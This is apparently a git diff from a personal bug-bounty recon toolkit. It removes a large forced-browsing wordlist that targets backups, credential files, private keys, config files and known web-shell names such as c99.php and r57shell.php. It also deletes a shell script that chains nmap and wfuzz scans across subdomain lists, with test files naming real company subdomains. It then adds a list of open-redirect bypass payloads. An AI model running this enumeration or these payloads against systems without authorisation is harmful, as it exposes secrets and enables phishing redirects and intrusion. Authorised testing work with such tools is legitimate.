-db_backups/ -dbaccess.log -dbadmin.php -dbadmin/ -dbase -dbbackup/ -dbfix/ -dead.letter -debug -debug-output.txt -debug.inc -debug.log -debug.php -debug.txt -debug/ -debug_error.jsp -default.php -delete.php -demo.php -demo/ejb/index.html -demo/sql/index.jsp -deploy -deploy.rb -Descript.ion -Desktop.ini -desktop/index_framed.htm -dev.php -dev/ -development-parts/ -development.esproj/ -development/ -df_main.sql -dir.php -dist/ -docker-compose.yml -Dockerfile -doctrine/schema/eirec.yml -doctrine/schema/tmx.yml -documentation/config.yml -dom.php -download.php -download/history.csv -download/users.csv -downloader/cache.cfg -downloader/connect.cfg -downloads/dom.php -dra.php -dummy -dummy.php -dump -dump.7z -dump.inc -dump.inc.old -dump.log -dump.old -dump.rar -dump.rdb -dump.sql -Dump.sql -dump.sql.old -dump.sqlite -dump.tar -dump.tar.bz2 -dump.tar.gz -dump.tgz -dump.zip -dump/ -dump_file.sql -dumper.php -dumper/ -dumps/ -dumpuser.aspx -dz.php -dz0.php -dz1.php -ecosystem.json -edit.php -edit/spaw2/dialogs/dialog.php -editor.php -editor/FCKeditor -editor/stats/ -editor/tiny_mce/ -editor/tinymce/ -editors/FCKeditor -ehthumbs.db -elfinder/elfinder.php -elim/blist.xml -emul.js -engine/classes/swfupload/swfupload.swf -engine/classes/swfupload/swfupload_f9.swf -engine/libs/spaw/dialogs/dialog.php -environment.rb -err -error -error-log -error-log.txt -error.html -error.log -error.log.0 -error.txt -error/ -error_log -error_log.gz -error_log.txt -errorlog -errors.log -errors.txt -errors/ -errors/creation -errors/local.xml -etc/config.ini -etc/database.xml -etc/hosts -etc/passwd -eudora.ini -eula.txt -eula_en.txt -example.php -examples/ -exp/ -export -export/ -export_log.old.txt -export_log.txt -export_stock_log.txt -FAQ -FCKeditor -fckeditor -FCKeditor/ -fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp -fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx -fckeditor/editor/filemanager/browser/default/connectors/php/connector.php -fckeditor/editor/filemanager/connectors/asp/connector.asp -fckeditor/editor/filemanager/connectors/asp/upload.asp -fckeditor/editor/filemanager/connectors/aspx/connector.aspx -fckeditor/editor/filemanager/connectors/aspx/upload.aspx -fckeditor/editor/filemanager/connectors/php/connector.php -fckeditor/editor/filemanager/connectors/php/upload.php -fckeditor/editor/filemanager/upload/asp/upload.asp -fckeditor/editor/filemanager/upload/aspx/upload.aspx -fckeditor/editor/filemanager/upload/php/upload.php -FCKeditor2.0/ -FCKeditor2.1/ -FCKeditor2.2/ -FCKeditor2.3/ -FCKeditor2.4/ -FCKeditor2/ -FCKeditor20/ -FCKeditor21/ -FCKeditor22/ -FCKeditor23/ -FCKeditor24/ -ffftp.ini -file.php -file.sql -file_manager/ -file_upload.asp -file_upload.aspx -file_upload.cfm -file_upload.htm -file_upload.html -file_upload.php -file_upload.php3 -file_upload.shtm -file_upload/ -fileadmin -fileadmin.php -fileadmin/ -filedump/ -filemanager -filemanager/ -files.md5 -files/ -fileupload/ -flashFXP.ini -forum.rar -forum.sql -forum.tar -forum.tar.gz -forum.zip -forum/install/install.php -forum/phpmyadmin/ -forums/cache/db_update.lock -fpadmin -ftp.txt -ganglia/ -gaza.php -Gemfile -Gemfile.lock -get.php -git-service -gitlog -global -global.asa.bak -global.asa.old -global.asa.orig -global.asa.temp -global.asa.tmp -Global.asax -global.asax.bak -global.asax.old -global.asax.orig -global.asax.temp -global.asax.tmp -globals -globals.inc -grabbed.html -gradlew -Gruntfile.js -haproxy_stats -haproxy_stats1 -haproxy_stats2 -haproxy_stats3 -HEADER.txt -HISTORY -HISTORY.rst -home.rar -home.tar -home.tar.gz -home.zip -hosts -ht.access -htaccess.backup -htaccess.bak -htaccess.dist -htaccess.old -htaccess.txt -htgroup -html/config.rb -html/js/misc/swfupload/swfupload.swf -html/js/misc/swfupload/swfupload_f9.swf -htpasswd -htpasswd.bak -htpasswd/htpasswd.bak -httpd.conf -httpd.core -httpd.ini -httpd/logs/access.log -httpd/logs/access_log -httpd/logs/error.log -httpd/logs/error_log -i.php -i.tar -i.tar.bz2 -i.tar.gz -i.txt -i.zip -id_dsa -id_dsa.ppk -id_rsa -images/c99.php -images/Sym.php -import.php -import/ -inc/config.inc -inc/fckeditor/ -inc/tiny_mce/ -inc/tinymce/ -include/fckeditor/ -include/spaw2/dialogs/dialog.php -includes/adovbs.inc -includes/configure.php~ -includes/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp -includes/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx -includes/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php -includes/fckeditor/editor/filemanager/connectors/asp/connector.asp -includes/fckeditor/editor/filemanager/connectors/asp/upload.asp -includes/fckeditor/editor/filemanager/connectors/aspx/connector.aspx -includes/fckeditor/editor/filemanager/connectors/aspx/upload.aspx -includes/fckeditor/editor/filemanager/connectors/php/connector.php -includes/fckeditor/editor/filemanager/connectors/php/upload.php -includes/fckeditor/editor/filemanager/upload/asp/upload.asp -includes/fckeditor/editor/filemanager/upload/aspx/upload.aspx -includes/fckeditor/editor/filemanager/upload/php/upload.php -includes/js/tiny_mce/ -includes/swfupload/swfupload.swf -includes/swfupload/swfupload_f9.swf -includes/tiny_mce/ -includes/tinymce/ -index-bak -index-test.php -index.php-bak -index.php.bak -index.php3 -index.php4 -index.php5 -index.phps -index.php~ -index.sql -index.xml -info.json -info.php -info.txt -install -INSTALL -INSTALL.html -INSTALL.md -INSTALL.mysql -install.mysql.txt -INSTALL.mysql.txt -INSTALL.pgsql -install.pgsql.txt -INSTALL.pgsql.txt -install.php -install.sql -install.txt -INSTALL.txt -Install.txt -install/ -install/update.log -install1/ -install2/ -install_ -INSTALL_admin -installation.php -installed.json -installer -installer/ -install~/ -invoker/JMXInvokerServlet -ispmgr/ -javax.faces.resource.../WEB-INF/web.xml.jsf -jdbc -jira/ -jmx-console -jmx-console/ -jo.php -joomla.rar -joomla.xml -joomla.zip -js/elfinder/elfinder.php -js/FCKeditor -js/swfupload/swfupload.swf -js/swfupload/swfupload_f9.swf -js/tiny_mce/ -js/tinymce/ -jscripts/tiny_mce/ -jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php -jscripts/tinymce/ -jsp-examples/ -kcfinder/browse.php -killer.php -l0gs.txt -L3b.php -lander.logs -last.sql -lib/fckeditor/ -lib/fileupload/fileBrowser.php -lib/flex/uploader/.actionScriptProperties -lib/flex/uploader/.flexProperties -lib/flex/uploader/.project -lib/flex/uploader/.settings -lib/flex/varien/.actionScriptProperties -lib/flex/varien/.flexLibProperties -lib/flex/varien/.project -lib/flex/varien/.settings -lib/spaw2/dialogs/dialog.php -lib/tiny_mce/ -lib/tinymce/ -libraries/phpmailer/ -libraries/tiny_mce/ -libraries/tinymce/ -libs/spaw/dialogs/dialog.php -libs/spaw2/dialogs/dialog.php -LICENSE.txt -license.txt -lilo.conf -linkhub/linkhub.log -linktous.html -linusadmin-phpinfo.php -list_emails -lists/config -load.php -local.config.rb -local.properties -local.xml.additional -local.xml.template -local/.git/index -local/.gitignore -local/composer.lock -local/composer.phar -local_bd_new.txt -local_bd_old.txt -localhost.old -localhost.rar -localhost.rdb -localhost.sql -localhost.sqlite -localhost.tag.gz -localhost.tar -localhost.tar.bz2 -localhost.tar.gz -localhost.tgz -localhost.zipu -localsettings.php.bak -localsettings.php.dist -localsettings.php.old -localsettings.php.save -localsettings.php.swp -localsettings.php.templ -localsettings.php.txt -localsettings.php~ -log.htm -log.html -log.mdb -log.php -log.sqlite -log.txt -log/ -log/access.log -log/access_log -log/development.log -log/error.log -log/error_log -log/log.log -log/log.txt -log/production.log -log/server.log -log/test.log -log_1.txt -log_errors.txt -log_status_order.txt -logexpcus.txt -logfile -logfiles -login.php -logins.txt -logs -logs.htm -logs.html -logs.mdb -logs.sqlite -logs.txt -logs/ -logs/access.log -logs/access_log -logs/error.log -logs/error_log -logs/errors -logs/sendmail -logs_console/ -lol.php -ma/ -madspot.php -madspotshell.php -magmi/conf/magmi.ini -MAINTAINERS.txt -maintenance.flag -maintenance.flag.bak -maintenance.flag2 -maintenance.php -maintenance/ -maintenance/test.php -maintenance/test2.php -Makefile -manage.py -manager/ -manager/html -master.passwd -master/portquotes_new/admin.log -media/export-criteo.xml -member -memberlist -members -members.csv -members.log -members.mdb -members.sql -members.sql.gz -members.sqlite -members.txt -members.xls -membersonly -memoria -mercurial.ini -META-INF/context.xml -moadmin.php -moderator.php -moderator/ -modules/php/php.info -modules/spaw2/dialogs/dialog.php -mrtg.cfg -msql/ -mssql/ -mt-check.cgi -muracms.esproj -mw-config/ -myadm/ -MyAdmin/ -myadmin/ -myadmin/index.php -myadmin/scripts/setup.php -mybackup/ -mysql-admin/ -mysql.err -mysql.log -mysql.php -mysql.sql -mysql/ -mysql/adminer.php -mysql/scripts/setup.php -mysql_backups/ -mysql_debug.sql -mysqladmin/ -mysqladmin/scripts/setup.php -mysqldumper/ -mysqlitedb.db -mysqlmanager/ -nano.save -nb-configuration.xml -nbactions.xml -nbproject/ -nbproject/private/private.properties -nbproject/private/private.xml -nbproject/project.properties -nbproject/project.xml -New%20Folder -New%20folder%20(2) -new.php -nginx-access.log -nginx-error.log -nginx-ssl.access.log -nginx-ssl.error.log -nginx-status/ -nginx.conf -nginx_status -nohup.out -npm-debug.log -nst.php -nstview.php -odbc -old -old.htaccess -old.htpasswd -old/ -old_files -old_site/ -oldfiles -oracle -order.log -order.txt -order_add_log.txt -order_log -orders -orders.csv -orders.log -orders.sql -orders.sql.gz -orders.txt -orders.xls -orders_log -ospfd.conf -output-build.txt -p.php -p/m/a/ -package.json -painel/config/config.php.example -panel.php -panel/ -pass -pass.dat -pass.txt -passes.txt -passlist -passlist.txt -passwd -passwd.adjunct -passwd.bak -passwd.txt -Password -password -password.html -password.log -password.log‎ -password.mdb -password.sqlite -password.txt -passwords -passwords.html -passwords.mdb -passwords.sqlite -passwords.txt -pbmadmin/ -personal -personal.mdb -personal.sqlite -pgadmin -pgadmin.log -phinx.yml -php -php-backdoor.php -php-cgi.core -php-cli.ini -php-cs-fixer.phar -php-error -php-errors.log -php-info.php -php-my-admin/ -php-myadmin/ -php.core -php.ini -php.ini-orig.txt -php.ini.sample -php.ini_ -php.ini~ -php.lnk -php.log -php.php -php/phpmyadmin/ -php4.ini -php5.fcgi -php5.ini -php_cli_errors.log -php_error.log -php_error_log -php_errorlog -php_errors.log -php_info.php -phpadmin/ -phpadminmy/ -phperrors.log -phpin.php -phpinfo -phpinfo.php -phpinfo.php3 -phpinfo.php4 -phpinfo.php5 -phpini.bak -phpldapadmin -phpldapadmin/ -phpliteadmin.php -phpma/ -phpmanager/ -phpmem/ -phpmemcachedadmin/ -phpmy-admin/ -phpMy/ -phpmy/ -phpmyad/ -phpMyAdmin-2.10.0.0/ -phpMyAdmin-2.10.0.1/ -phpMyAdmin-2.10.0.2/ -phpMyAdmin-2.10.0/ -phpMyAdmin-2.10.1.0/ -phpMyAdmin-2.10.2.0/ -phpMyAdmin-2.11.0.0/ -phpMyAdmin-2.11.1-all-languages/ -phpMyAdmin-2.11.1.0/ -phpMyAdmin-2.11.1.1/ -phpMyAdmin-2.11.1.2/ -phpMyAdmin-2.2.3/ -phpMyAdmin-2.2.6/ -phpMyAdmin-2.5.1/ -phpMyAdmin-2.5.4/ -phpMyAdmin-2.5.5-pl1/ -phpMyAdmin-2.5.5-rc1/ -phpMyAdmin-2.5.5-rc2/ -phpMyAdmin-2.5.5/ -phpMyAdmin-2.5.6-rc1/ -phpMyAdmin-2.5.6-rc2/ -phpMyAdmin-2.5.6/ -phpMyAdmin-2.5.7-pl1/ -phpMyAdmin-2.5.7/ -phpMyAdmin-2.6.0-alpha/ -phpMyAdmin-2.6.0-alpha2/ -phpMyAdmin-2.6.0-beta1/ -phpMyAdmin-2.6.0-beta2/ -phpMyAdmin-2.6.0-pl1/ -phpMyAdmin-2.6.0-pl2/ -phpMyAdmin-2.6.0-pl3/ -phpMyAdmin-2.6.0-rc1/ -phpMyAdmin-2.6.0-rc2/ -phpMyAdmin-2.6.0-rc3/ -phpMyAdmin-2.6.0/ -phpMyAdmin-2.6.1-pl1/ -phpMyAdmin-2.6.1-pl2/ -phpMyAdmin-2.6.1-pl3/ -phpMyAdmin-2.6.1-rc1/ -phpMyAdmin-2.6.1-rc2/ -phpMyAdmin-2.6.1/ -phpMyAdmin-2.6.2-beta1/ -phpMyAdmin-2.6.2-pl1/ -phpMyAdmin-2.6.2-rc1/ -phpMyAdmin-2.6.2/ -phpMyAdmin-2.6.3-pl1/ -phpMyAdmin-2.6.3-rc1/ -phpMyAdmin-2.6.3/ -phpMyAdmin-2.6.4-pl1/ -phpMyAdmin-2.6.4-pl2/ -phpMyAdmin-2.6.4-pl3/ -phpMyAdmin-2.6.4-pl4/ -phpMyAdmin-2.6.4-rc1/ -phpMyAdmin-2.6.4/ -phpMyAdmin-2.6.5/ -phpMyAdmin-2.6.6/ -phpMyAdmin-2.6.9/ -phpMyAdmin-2.7.0-beta1/ -phpMyAdmin-2.7.0-pl1/ -phpMyAdmin-2.7.0-pl2/ -phpMyAdmin-2.7.0-rc1/ -phpMyAdmin-2.7.0/ -phpMyAdmin-2.7.5/ -phpMyAdmin-2.7.6/ -phpMyAdmin-2.7.7/ -phpMyAdmin-2.8.0-beta1/ -phpMyAdmin-2.8.0-rc1/ -phpMyAdmin-2.8.0-rc2/ -phpMyAdmin-2.8.0.1/ -phpMyAdmin-2.8.0.2/ -phpMyAdmin-2.8.0.3/ -phpMyAdmin-2.8.0.4/ -phpMyAdmin-2.8.0/ -phpMyAdmin-2.8.1-rc1/ -phpMyAdmin-2.8.1/ -phpMyAdmin-2.8.2.3/ -phpMyAdmin-2.8.2/ -phpMyAdmin-2.8.3/ -phpMyAdmin-2.8.4/ -phpMyAdmin-2.8.5/ -phpMyAdmin-2.8.6/ -phpMyAdmin-2.8.7/ -phpMyAdmin-2.8.8/ -phpMyAdmin-2.8.9/ -phpMyAdmin-2.9.0-rc1/ -phpMyAdmin-2.9.0.1/ -phpMyAdmin-2.9.0.2/ -phpMyAdmin-2.9.0/ -phpMyAdmin-2.9.1/ -phpMyAdmin-2.9.2/ -phpMyAdmin-2/ -phpMyAdmin-3.0.0-rc1-english/ -phpMyAdmin-3.0.0.0-all-languages/ -phpMyAdmin-3.0.1.0-english/ -phpMyAdmin-3.0.1.0/ -phpMyAdmin-3.0.1.1/ -phpMyAdmin-3.1.0.0-english/ -phpMyAdmin-3.1.0.0/ -phpMyAdmin-3.1.1.0-all-languages/ -phpMyAdmin-3.1.2.0-all-languages/ -phpMyAdmin-3.1.2.0-english/ -phpMyAdmin-3.1.2.0/ -phpMyAdmin-3.4.3.1/ -phpMyAdmin-4.0.10.10-all-languages/ -phpMyAdmin-4.0.10.10-english/ -phpMyAdmin-4.3.13.3-all-languages/ -phpMyAdmin-4.3.13.3-english/ -phpMyAdmin-4.4.14.1-all-languages/ -phpMyAdmin-4.4.14.1-english/ -phpMyAdmin-4.5.0-rc1-all-languages/ -phpMyAdmin-4.5.0-rc1-english/ -phpmyadmin.backup/ -phpMyAdmin/ -phpmyadmin/ -phpMyAdmin/scripts/setup.php -phpmyadmin/scripts/setup.php -phpMyAdmin0/ -phpmyadmin0/ -phpMyAdmin1/ -phpmyadmin1/ -phpmyadmin2/ -phpMyAdmin2/ -phpmyadmin3/ -phpMyAdmin3/ -phpMyAdmin4/ -phpMyAdminBackup/ -phpPgAdmin/ -phppgadmin/ -phpRedisAdmin/ -phpredmin/ -phpsecinfo/ -phpsysinfo/ -phpThumb.php -phpThumb/ -phpunit.phar -phpunit.xml -phpunit.xml.dist -phymyadmin/ -pi.php -pi.php5 -pinfo.php -pip-log.txt -plugins.log -plugins/editors/fckeditor -plugins/fckeditor -plugins/sfSWFUploadPlugin/web/sfSWFUploadPlugin/swf/swfupload.swf -plugins/sfSWFUploadPlugin/web/sfSWFUploadPlugin/swf/swfupload_f9.swf -plugins/spaw2/dialogs/dialog.php -plugins/tiny_mce/ -plugins/tinymce/ -plugins/upload.php -plugins/web.config -plupload -pma/ -PMA/ -pma/index.php -pma/scripts/setup.php -PMA2005/ -pma2005/ -pma4/ -pmadmin/ -pmyadmin/ -pom.xml -prefetch.txt -priv8.php -private.key -private.mdb -private.sqlite -proftpdpasswd -project.pbxproj -project.xml -propel.ini -prv/ -public/spaw2/dialogs/dialog.php -publication_list.xml -pw.txt -pwd.db -pws.txt -qa/ -query.log -r.php -r00t.php -r57.php -r57eng.php -r57shell.php -r58.php -r99.php -Read -Read%20Me.txt -read.me -Read_Me.txt -README -readme -README.htm -readme.html -README.md -README.txt -Readme.txt -readme.txt -recentservers.xml -register.php -RELEASE_NOTES.txt -remote.php/webdav/ -request.log -reseller -resources.xml -resources/fckeditor -restore.php -restricted -revision.inc -revision.txt -RootCA.crt -rst.php -sa.php -sa2.php -sales.csv -sales.log -sales.sql -sales.sql.gz -sales.txt -sales.xls -sample.txt -sample.txt~ -schema.sql -schema.yml -scripts/ckeditor/ckfinder/core/connector/asp/connector.asp -scripts/ckeditor/ckfinder/core/connector/aspx/connector.aspx -scripts/ckeditor/ckfinder/core/connector/php/connector.php -scripts/setup.php -searchreplacedb2.php -searchreplacedb2cli.php -Secret/ -secret/ -secrets/ -secring.bak -secring.pgp -secring.skr -sentemails.log -serv-u.ini -server-info -server-status/ -server.cfg -server.log -Server.php -server.xml -Server/ -servers/ -service.asmx -services -servlet/Oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml -servlet/oracle.xml.xsql.XSQLServlet/soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml -servlet/Oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml -servlet/oracle.xml.xsql.XSQLServlet/xsql/lib/XSQLConfig.xml -session/ -sessions/ -settings.bak -settings.dist -settings.ini -settings.old -settings.php -settings.php.bak -settings.php.dist -settings.php.old -settings.php.save -settings.php.swp -settings.php.templ -settings.php.txt -settings.php1 -settings.php2 -settings.php~ -settings.py -settings.save -settings.swp -settings.txt -settings.xml -settings/ -setup.php -setup.sql -setup/ -sftp-config.json -Sh3ll.php -shell.php -shell/ -shellz.php -shop.sql -signup.action -simple-backdoor.php -site.rar -site.sql -site.tar.gz -site.txt -site/common.xml -site_admin -siteadmin -sites.ini -slapd.conf -soap/ -soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml -soapserver/ -source.php -spaw/dialogs/dialog.php -spaw2/dialogs/dialog.php -spec/lib/database.yml -spec/lib/settings.local.yml -spwd.db -spy.aspx -sql.inc -sql.php -sql.sql -sql.tar -sql.tgz -sql.txt -sql.zip -sql/ -sql/db.sql -sql/index.php -sql_dumps -sql_error.log -sqladm -sqladmin -sqlbuddy -sqlbuddy/login.php -sqlmanager/ -sqlmigrate.php -sqlnet.log -sqlweb/ -ss_database_backup.sql -stat/ -statistics/ -stats -stats/ -status.php -STATUS.txt -status.xsl -status/ -statusicon/ -stronghold-info -stronghold-status -stub-status -sugarcrm.log -surgemail/ -surgemail/mtemp/surgeweb/tpl/shared/modules/swfupload.swf -surgemail/mtemp/surgeweb/tpl/shared/modules/swfupload_f9.swf -svn.revision -SVN/ -svn/ -swfupload -sxd/ -sxd/backup/ -sYm.php -Sym.php -sym/root/home/ -symfony/apps/frontend/config/routing.yml -symfony/apps/frontend/config/settings.yml -symfony/config/databases.yml -Symlink.php -Symlink.pl -symphony/apps/frontend/config/app.yml -symphony/apps/frontend/config/databases.yml -symphony/config/app.yml -symphony/config/databases.yml -sysadmin -sysadmin.php -sysadmins -sysadmins/ -sysbackup -syslog/ -system.log -system/cron/cron.txt -system/error.txt -system/log/ -system/logs/ -t00.php -tar -tar.bz2 -tar.gz -technico.txt -telphin.log -temp.php -TEMP/ -temp/ -template/ -templates/ -templates/beez/index.php -templates/ja-helio-farsi/index.php -templates/rhuk_milkyway/index.php -test -test.asp -test.aspx -test.chm -test.htm -test.html -test.jsp -test.mdb -test.php -test.sqlite -test.txt -test/ -test0.php -test1.php -test123.php -test2.php -test3.php -test4.php -test5.php -test6.php -test7.php -test8.php -test9.php -test_ -test_ip.php -tests -tests/phpunit_report.xml -Thumbs.db -tiny_mce/ -tiny_mce/plugins/filemanager/examples.html -tiny_mce/plugins/imagemanager/pages/im/index.html -tinymce/ -TMP -tmp -tmp/ -tmp/2.php -tmp/access.log -tmp/access_log -tmp/admin.php -tmp/cgi.pl -tmp/Cgishell.pl -tmp/changeall.php -tmp/cpn.php -tmp/d.php -tmp/d0maine.php -tmp/domaine.php -tmp/domaine.pl -tmp/dz.php -tmp/dz1.php -tmp/error.log -tmp/error_log -tmp/index.php -tmp/killer.php -tmp/L3b.php -tmp/madspotshell.php -tmp/priv8.php -tmp/root.php -tmp/sessions/ -tmp/sql.php -tmp/Sym.php -tmp/up.php -tmp/upload.php -tmp/uploads.php -tmp/user.php -tmp/vaga.php -tmp/whmcs.php -tmp/xd.php -TODO -tools -tools/_backups/ -Trace.axd -Trace.axd::$DATA -tst -typo3/phpmyadmin/ -typo3/phpmyadmin/scripts/setup.php -uber/phpMemcachedAdmin/ -uber/phpMyAdmin/ -uber/phpMyAdminBackup/ -unattend.txt -up.php -UPDATE.txt -updates -UPGRADE -upgrade.php -UPGRADE.txt -upl.php -Upload -upload.asp -upload.aspx -upload.cfm -upload.htm -upload.html -upload.php -upload.php3 -upload.shtm -upload/ -upload/1.php -upload/b_user.csv -upload/b_user.xls -upload/test.php -upload/test.txt -upload/upload.php -upload2.php -upload_file.php -uploadarticles/uploadTester.asp -uploader.php -uploader/ -uploadfile.php -uploadfiles.php -uploadify.php -uploadify/ -uploadify/uploadify.swf -uploads.php -uploads/ -upstream_conf -ur-admin.php -user.php -user.txt -user_guide -user_uploads -useradmin -useradmin/ -usercp2.php -UserFile -UserFiles -userfiles -usernames.txt -users.csv -users.db -users.ini -users.log -users.mdb -users.php -users.sql -users.sql.gz -users.sqlite -users.txt -users.xls -users/ -vagrant-spec.config.rb -Vagrantfile -validator.php -var/backups/ -var/debug.log -var/log/ -var/logs/ -vb.rar -vb.sql -vb.zip -VERSION.txt -view.php -vtund.conf -wcx_ftp.ini -web-console/ -web-console/Invoker -web-console/ServerInfo.jsp -WEB-INF./web.xml -WEB-INF/config.xml -WEB-INF/web.xml -web.config -web.config.bak -web.config.bakup -web.config.old -web.config.temp -web.config.tmp -web.config.txt -web.config::$DATA -Web.Debug.config -web.Debug.config -Web.Release.config -web.Release.confiп -web/phpMyAdmin/ -web/phpMyAdmin/scripts/setup.php -web/scripts/setup.php -webacula/application/config.ini -webadmin -webadmin.html -webadmin.php -webadmin/ -webdav/ -webdav/index.html -webdav/servlet/webdav/ -webdb/ -webgrind -webmail/ -webmail/src/configtest.php -webmin/ -webpack.config.js -webpack.config.node.js -webservice/AutoComplete.amx -website.git -websql/ -webstat/ -webstats.html -webstats/ -whmcs.php -whmcs/downloads/dz.php -wp-admin/c99.php -wp-admin/setup-config.php -wp-app.log -wp-command.php -wp-config.bak -wp-config.dist -wp-config.inc -wp-config.old -wp-config.php.bak -wp-config.php.dist -wp-config.php.inc -wp-config.php.old -wp-config.php.save -wp-config.php.swp -wp-config.php.templ -wp-config.php.txt -wp-config.php1 -wp-config.php2 -wp-config.php~ -wp-config.save -wp-config.swp -wp-config.txt -wp-content/backup-db/ -wp-content/backups/ -wp-content/debug.log -wp-content/plugins/akismet/admin.php -wp-content/plugins/akismet/akismet.php -wp-content/plugins/count-per-day/js/yc/d00.php -wp-content/plugins/disqus-comment-system/disqus.php -wp-content/plugins/google-sitemap-generator/sitemap-core.php -wp-content/uploads/ -wp-register.php -wp.php -wp.rar/ -wp.sql -wp.zip -wp.zip/nwp-content/plugins/disqus-comment-system/disqus.php -ws.php -ws/api_test.php -ws_ftp.ini -WS_FTP.LOG -WSO.php -wso.php -wso2.5.1.php -wso2.php -wso2_pack.php -wvdial.conf -wwwboard/passwd.txt -wwwstats.htm -x.php -xampp/phpmyadmin/ -xampp/phpmyadmin/scripts/setup.php -xd.php -xls/ -xml/_common.xml -xml/common.xml -xmlrpc_server.php -xphperrors.log -xphpMyAdmin/ -xsl/ -xsl/_common.xsl -xsl/common.xsl -xsql/lib/XSQLConfig.xml -zabbix/ -zebra.conf -zehir.php -zeroclipboard.swf -zm_cms/spaw2/dialogs/dialog.php -zone-h.php -~install/ diff --git a/recon/recon.sh b/recon/recon.sh deleted file mode 100755 index 9105548..0000000 --- a/recon/recon.sh +++ /dev/null @@ -1,75 +0,0 @@ -#!/bin/bash -# recon - basic recon of bugbounty target scope -# by bl4de | https://twitter.com/_bl4de - -# params -SUBDOMAINS=$1 -DICTIONARY=$2 - -mkdir out -OUTPUT_DIR=./out - -echo -echo " usage: ./recon.sh [subdomains list] [dictionary file]" -echo -echo " subdomains list - file with list of subdomains, if you have one" -echo " dictionary file - optional; paht to dictionary used for files/dirs enumeration" -echo " dict.txt is used by default" -echo - -if [ -z $2 ] -then - # enter path to default dictionary for enumeration you want to use - DICTIONARY=/Users/bl4de/hacking/tools/bl4de/recon/dict.txt -else - DICTIONARY=$3 -fi -echo "[+] using $DICTIONARY as dictionary file for files/dirs enumeration" - -echo "[+] running recon.sh against $TARGET, please stand by..." -# # enumerate subdomains -# if [ -z $2 ] -# then -# echo "[+] execute sublist3r $TARGET saving output to $TARGET_out file..." -# sublist3r -d $TARGET > $TARGET"_out" -# echo "[+] small sed-ing..." -# cat $TARGET"_out" | sed -e 's/\[92//;1,24d' > $TARGET"_subdomains" -# SUBDOMAINS=$TARGET"_subdomains" -# else -# echo "[+] using $2 as subdomains list" -# SUBDOMAINS=$2 -# fi - -# nmap -echo "[+] scanning and directories/files discovery" -while read DOMAIN; do - echo "[+] current target: $DOMAIN" - nmap -sV -F $DOMAIN -oG $OUTPUT_DIR/$DOMAIN"_nmap" 1> /dev/null - - while read line; do - if [[ $line == *"80/open/tcp//http"* ]] - then - echo "[+] found webserver on $DOMAIN port 80/HTTP, running files/directories discovery..." - wfuzz -f $OUTPUT_DIR/$DOMAIN"_wfuzz_80",raw --hc 404,301,302,401,000 -w $DICTIONARY http://$DOMAIN/FUZZ 1>/dev/null - fi - if [[ $line == *"443/open/tcp//http"* ]] - then - echo "[+] found webserver on $DOMAIN port 443/HTTPS, running files/directories discovery..." - wfuzz -f $OUTPUT_DIR/$DOMAIN"_wfuzz_443",raw --hc 404,301,302,401,000 -w $DICTIONARY https://$DOMAIN/FUZZ 1>/dev/null - fi - # if [[ $line == *"8080/open/tcp//http"* ]] - # then - # echo "[+] found webserver on $DOMAIN port 8080/HTTP, running files/directories discovery..." - # wfuzz -f $OUTPUT_DIR/$DOMAIN"_wfuzz_8080",raw --hc 404,301,302,401,000 -w $DICTIONARY http://$DOMAIN:8080/FUZZ 1>/dev/null - # fi - # if [[ $line == *"8008/open/tcp//http"* ]] - # then - # echo "[+] found webserver on $DOMAIN port 8008/HTTP, running files/directories discovery..." - # wfuzz -f $OUTPUT_DIR/$DOMAIN"_wfuzz_8008",raw --hc 404,301,302,401,000 -w $DICTIONARY http://$DOMAIN:8008/FUZZ 1>/dev/null - # fi - done < $OUTPUT_DIR/$DOMAIN"_nmap" -done < $SUBDOMAINS - -echo "[+] all done!!!" -echo -exit \ No newline at end of file diff --git a/recon/tests b/recon/tests deleted file mode 100644 index 13f731d..0000000 --- a/recon/tests +++ /dev/null @@ -1,3 +0,0 @@ -uspa-vpn.symphony.com -www.uspa-vpn.symphony.com -vcmllp.symphony.com diff --git a/recon/tests_subdomains b/recon/tests_subdomains deleted file mode 100644 index 13f731d..0000000 --- a/recon/tests_subdomains +++ /dev/null @@ -1,3 +0,0 @@ -uspa-vpn.symphony.com -www.uspa-vpn.symphony.com -vcmllp.symphony.com diff --git a/redir_gen/payloads.txt b/redir_gen/payloads.txt new file mode 100644 index 0000000..242b846 --- /dev/null +++ b/redir_gen/payloads.txt @@ -0,0 +1,363 @@ +//DEST/%2f.. +//TARGET@DEST/%2f.. +///DEST/%2f.. +///TARGET@DEST/%2f.. +////DEST/%2f.. +////TARGET@DEST/%2f.. +https://DEST/%2f.. +https://TARGET@DEST/%2f.. +/https://DEST/%2f.. +/https://TARGET@DEST/%2f.. +//DEST/%2f%2e%2e +//TARGET@DEST/%2f%2e%2e +///DEST/%2f%2e%2e +///TARGET@DEST/%2f%2e%2e +////DEST/%2f%2e%2e +////TARGET@DEST/%2f%2e%2e +https://DEST/%2f%2e%2e +https://TARGET@DEST/%2f%2e%2e +/https://DEST/%2f%2e%2e +/https://TARGET@DEST/%2f%2e%2e +//DEST/ +//TARGET@DEST/ +///DEST/ +///TARGET@DEST/ +////DEST/ +////TARGET@DEST/ +https://DEST/ +https://TARGET@DEST/ +/https://DEST/ +/https://TARGET@DEST/ +//DEST// +//TARGET@DEST// +///DEST// +///TARGET@DEST// +////DEST// +////TARGET@DEST// +https://DEST// +https://TARGET@DEST// +//https://DEST// +//https://TARGET@DEST// +//DEST/%2e%2e%2f +//TARGET@DEST/%2e%2e%2f +///DEST/%2e%2e%2f +///TARGET@DEST/%2e%2e%2f +////DEST/%2e%2e%2f +////TARGET@DEST/%2e%2e%2f +https://DEST/%2e%2e%2f +https://TARGET@DEST/%2e%2e%2f +//https://DEST/%2e%2e%2f +//https://TARGET@DEST/%2e%2e%2f +///DEST/%2e%2e +///TARGET@DEST/%2e%2e +////DEST/%2e%2e +////TARGET@DEST/%2e%2e +https:///DEST/%2e%2e +https:///TARGET@DEST/%2e%2e +//https:///DEST/%2e%2e +//TARGET@https:///DEST/%2e%2e +/https://DEST/%2e%2e +/https://TARGET@DEST/%2e%2e 